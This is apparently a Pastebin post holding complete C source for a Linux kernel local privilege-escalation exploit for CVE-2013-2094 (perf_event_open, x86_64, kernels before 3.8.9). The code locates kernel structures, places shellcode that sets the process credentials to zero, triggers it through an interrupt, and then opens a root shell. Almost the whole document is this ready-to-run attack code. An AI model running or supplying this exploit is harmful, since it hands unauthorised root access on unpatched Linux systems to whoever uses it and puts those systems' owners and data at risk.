The_KGB

Linux privilege escalation exploit - June 2013

Jun 12th, 2013
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.32 KB | None | 0 0
  1. /*
  2.  * CVE-2013-2094 exploit x86_64 Linux < 3.8.9
  3.  * by sorbo (sorbo@darkircop.org) June 2013
  4.  *
  5.  * Based on sd's exploit.  Supports more targets.
  6.  *
  7.  */
  8.  
  9. #define _GNU_SOURCE
  10. #include <string.h>
  11. #include <stdio.h>
  12. #include <unistd.h>
  13. #include <stdlib.h>
  14. #include <stdint.h>
  15. #include <sys/syscall.h>
  16. #include <sys/mman.h>
  17. #include <linux/perf_event.h>
  18. #include <signal.h>
  19. #include <assert.h>
  20.  
  21. #define BASE        0x380000000
  22. #define BASE_JUMP   0x1780000000
  23. #define SIZE        0x10000000
  24. #define KSIZE       0x2000000
  25.  
  26. #define TMP(x) (0xdeadbeef + (x))
  27.  
  28. struct idt {
  29.     uint16_t limit;
  30.     uint64_t addr;
  31. } __attribute__((packed));
  32.  
  33. static int _fd;
  34.  
  35. static int perf_open(uint64_t off)
  36. {
  37.     struct perf_event_attr attr;
  38.     int rc;
  39.  
  40. //  printf("perf open %lx [%d]\n", off, (int) off);
  41.  
  42.     memset(&attr, 0, sizeof(attr));
  43.  
  44.     attr.type           = PERF_TYPE_SOFTWARE;
  45.     attr.size           = sizeof(attr);
  46.     attr.config         = off;
  47.     attr.mmap           = 1;
  48.     attr.comm           = 1;
  49.     attr.exclude_kernel = 1;
  50.  
  51.     rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
  52.  
  53.     return rc;
  54. }
  55.  
  56. void __sc_start(void);
  57. void __sc_next(void);
  58.  
  59. void __sc(void)
  60. {
  61.     asm("__sc_start:\n"
  62.         "call __sc_next\n"
  63.         "iretq\n"
  64.         "__sc_next:\n");
  65. }
  66.  
  67. void sc(void)
  68. {
  69.     int i, j;
  70.     uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
  71.     uint64_t kbase = ((uint64_t)current) >> 36;
  72.     int uid = TMP(1);
  73.     int gid = TMP(2);
  74.  
  75.     for (i = 0; i < 4000; i += 4) {
  76.         uint64_t *p = (void *) ¤t[i];
  77.         uint32_t *cred = (uint32_t*) p[0];
  78.  
  79.         if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
  80.             continue;
  81.  
  82.         for (j = 0; j < 20; j++) {
  83.             if (cred[j] == uid && cred[j + 1] == gid) {
  84.                 for (i = 0; i < 8; i++) {
  85.                     cred[j + i] = 0;
  86.                     return;
  87.                 }
  88.             }
  89.         }
  90.     }
  91. }
  92.  
  93. static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
  94. {
  95.     void *p;
  96.  
  97.     p = memmem(sc, 900, &needle, sizeof(needle));
  98.     if (!p)
  99.         errx(1, "can't find %x", needle);
  100.  
  101.     memcpy(p, &val, sizeof(val));
  102. }
  103.  
  104. static void *map_mem(uint64_t addr)
  105. {
  106.     void *p;
  107.  
  108.     p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
  109.          MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
  110.  
  111.     if (p == MAP_FAILED)
  112.         err(1, "mmap()");
  113.  
  114.     return p;
  115. }
  116.  
  117. static int find_mem(void *mem, uint8_t c)
  118. {
  119.     int i;
  120.     uint8_t *p = mem;
  121.  
  122.     for (i = 0; i < SIZE; i++) {
  123.         if (p[i] == c)
  124.             return i;
  125.     }
  126.  
  127.     return -1;
  128. }
  129.  
  130. static void dropshell()
  131. {
  132.     if (setuid(0) != 0)
  133.         errx(1, "failed");
  134.  
  135.     printf("Launching shell\n");
  136.  
  137.     execl("/bin/sh", "sh", NULL);
  138.     exit(0);
  139. }
  140.  
  141. void morte(int x)
  142. {
  143.     printf("Got signal\n");
  144.     close(_fd);
  145.     dropshell();
  146. }
  147.  
  148. static void trigger(int intr)
  149. {
  150.     switch (intr) {
  151.     case 0:
  152.         do {
  153.             int z = 1;
  154.             int a = 1;
  155.  
  156.             z--;
  157.  
  158.             a /= z;
  159.         } while (0);
  160.         break;
  161.  
  162.     case 4:
  163.         asm("int $4");
  164.         break;
  165.  
  166.     case 0x80:
  167.         asm("int $0x80");
  168.         break;
  169.  
  170.     default:
  171.         errx(1, "unknown intr %d", intr);
  172.     }
  173.  
  174.     sleep(3);
  175. }
  176.  
  177. int main(int argc, char *argv[])
  178. {
  179.     uint32_t *p[2];
  180.     int fd, i;
  181.     uint64_t off;
  182.     uint64_t addr = BASE;
  183.     struct idt idt;
  184.     uint8_t *kbase;
  185.     int sz = 4;
  186.     int intr = 4;
  187.  
  188.     printf("Searchin...\n");
  189.  
  190.     p[0] = map_mem(BASE);
  191.     p[1] = map_mem(BASE_JUMP);
  192.  
  193.     memset(p[1], 0x69, SIZE);
  194.  
  195.     off = 0xFFFFFFFFL;
  196.     fd = perf_open(off);
  197.     close(fd);
  198.  
  199.     i = find_mem(p[0], 0xff);
  200.     if (i == -1) {
  201.         i = find_mem(p[1], 0x68);
  202.  
  203.         if (i == -1)
  204.             errx(1, "Can't find overwrite");
  205.  
  206.         sz = 24;
  207.         addr = BASE_JUMP;
  208.         printf("detected CONFIG_JUMP_LABEL\n");
  209.     }
  210.  
  211.     munmap(p[0], SIZE);
  212.     munmap(p[1], SIZE);
  213.  
  214.     addr += i;
  215.     addr -= off * sz;
  216.  
  217.     printf("perf_swevent_enabled is at 0x%lx\n", addr);
  218.  
  219.     asm("sidt %0" : "=m" (idt));
  220.  
  221.     printf("IDT at 0x%lx\n", idt.addr);
  222.  
  223.     off = addr - idt.addr;
  224.     off -= 8;
  225.  
  226.     switch (off % sz) {
  227.     case 0:
  228.         intr = 0;
  229.         break;
  230.  
  231.     case 8:
  232.         intr = 0x80;
  233.         break;
  234.  
  235.     case 16:
  236.         intr = 4;
  237.         break;
  238.  
  239.     default:
  240.         errx(1, "remainder %d", off % sz);
  241.     }
  242.  
  243.     printf("Using interrupt %d\n", intr);
  244.  
  245.     off -= 16 * intr;
  246.  
  247.     assert((off % sz) == 0);
  248.  
  249.     off /= sz;
  250.     off = -off;
  251.  
  252. //  printf("Offset %lx\n", off);
  253.  
  254.     kbase = (uint8_t*) (idt.addr & 0xFF000000);
  255.  
  256.     printf("Shellcode at %p\n", kbase);
  257.  
  258.     if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
  259.          MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
  260.         err(1, "mmap()");
  261.  
  262.     memset(kbase, 0x90, KSIZE);
  263.     kbase += KSIZE - 1024;
  264.  
  265.     i = __sc_next - __sc_start;
  266.     memcpy(kbase, __sc_start, i);
  267.     kbase += i;
  268.     memcpy(kbase, sc, 900);
  269.  
  270.     sc_replace(kbase, TMP(1), getuid());
  271.     sc_replace(kbase, TMP(2), getgid());
  272.  
  273.     signal(SIGALRM, morte);
  274.     alarm(2);
  275.  
  276.     printf("Triggering sploit\n");
  277.     _fd = perf_open(off);
  278.  
  279.     trigger(intr);
  280.  
  281.     exit(0);
  282. }
Add Comment
Please, Sign In to add comment